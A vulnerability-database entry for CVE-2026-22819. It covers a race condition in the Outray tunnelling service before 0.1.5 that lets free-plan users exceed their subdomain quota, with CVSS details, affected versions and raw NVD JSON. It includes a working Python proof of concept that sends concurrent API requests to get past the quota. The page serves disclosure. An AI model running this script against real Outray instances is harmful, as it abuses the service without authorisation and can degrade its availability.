Security Vulnerability Report
中文
CVE-2026-22819 CVSS 5.9 MEDIUM

CVE-2026-22819

Published: 2026-01-14 18:16:42
Last Modified: 2026-01-20 14:56:27

Description

Outray openSource ngrok alternative. Prior to 0.1.5, this vulnerability allows a user i.e a free plan user to get more than the desired subdomains due to lack of db transaction lock mechanisms in main/apps/web/src/routes/api/$orgSlug/subdomains/index.ts. This vulnerability is fixed in 0.1.5.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:outray:outray:*:*:*:*:*:node.js:*:* - VULNERABLE
Outray < 0.1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22819 PoC - Outray Subdomain Quota Race Condition # This PoC demonstrates the race condition vulnerability in Outray's subdomain allocation import asyncio import aiohttp import json async def create_subdomain(session, base_url, org_slug, token, index): """Send a single subdomain creation request""" url = f"{base_url}/api/{org_slug}/subdomains" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } data = { "name": f"test-subdomain-{index}", "target": f"http://localhost:{8000+index}" } try: async with session.post(url, headers=headers, json=data) as response: return { "index": index, "status": response.status, "response": await response.json() if response.status == 200 else await response.text() } except Exception as e: return {"index": index, "error": str(e)} async def exploit_race_condition(base_url, org_slug, token, num_requests=10): """ Exploit the race condition to obtain more subdomains than allowed. In a properly secured system, only the quota-limited number of subdomains should be created. """ async with aiohttp.ClientSession() as session: # Create multiple concurrent requests to trigger race condition tasks = [ create_subdomain(session, base_url, org_slug, token, i) for i in range(num_requests) ] results = await asyncio.gather(*tasks) # Analyze results successful = [r for r in results if r.get("status") == 200] print(f"Total requests: {num_requests}") print(f"Successful creations: {len(successful)}") print(f"Failed requests: {len(results) - len(successful)}") return results # Example usage if __name__ == "__main__": BASE_URL = "https://your-outray-instance.com" ORG_SLUG = "your-org" TOKEN = "your-auth-token" # Launch concurrent requests to exploit the vulnerability asyncio.run(exploit_race_condition(BASE_URL, ORG_SLUG, TOKEN, num_requests=20))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22819", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:42.330", "lastModified": "2026-01-20T14:56:26.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outray openSource ngrok alternative. Prior to 0.1.5, this vulnerability allows a user i.e a free plan user to get more than the desired subdomains due to lack of db transaction lock mechanisms in main/apps/web/src/routes/api/$orgSlug/subdomains/index.ts. This vulnerability is fixed in 0.1.5."}, {"lang": "es", "value": "Outray, alternativa de código abierto a ngrok. Antes de la versión 0.1.5, esta vulnerabilidad permite a un usuario, es decir, un usuario de plan gratuito, obtener más subdominios de los deseados debido a la falta de mecanismos de bloqueo de transacciones de base de datos en main/apps/web/src/routes/api/$orgSlug/subdomains/index.ts. Esta vulnerabilidad está corregida en la versión 0.1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-366"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:outray:outray:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.1.5", "matchCriteriaId": "DD246CCB-2E70-40B6-9BA8-ADAB45DF1296"}]}]}], "references": [{"url": "https://github.com/outray-tunnel/outray/commit/73e8a09575754fb4c395438680454b2ec064d1d6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/outray-tunnel/outray/security/advisories/GHSA-45hj-9x76-wp9g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}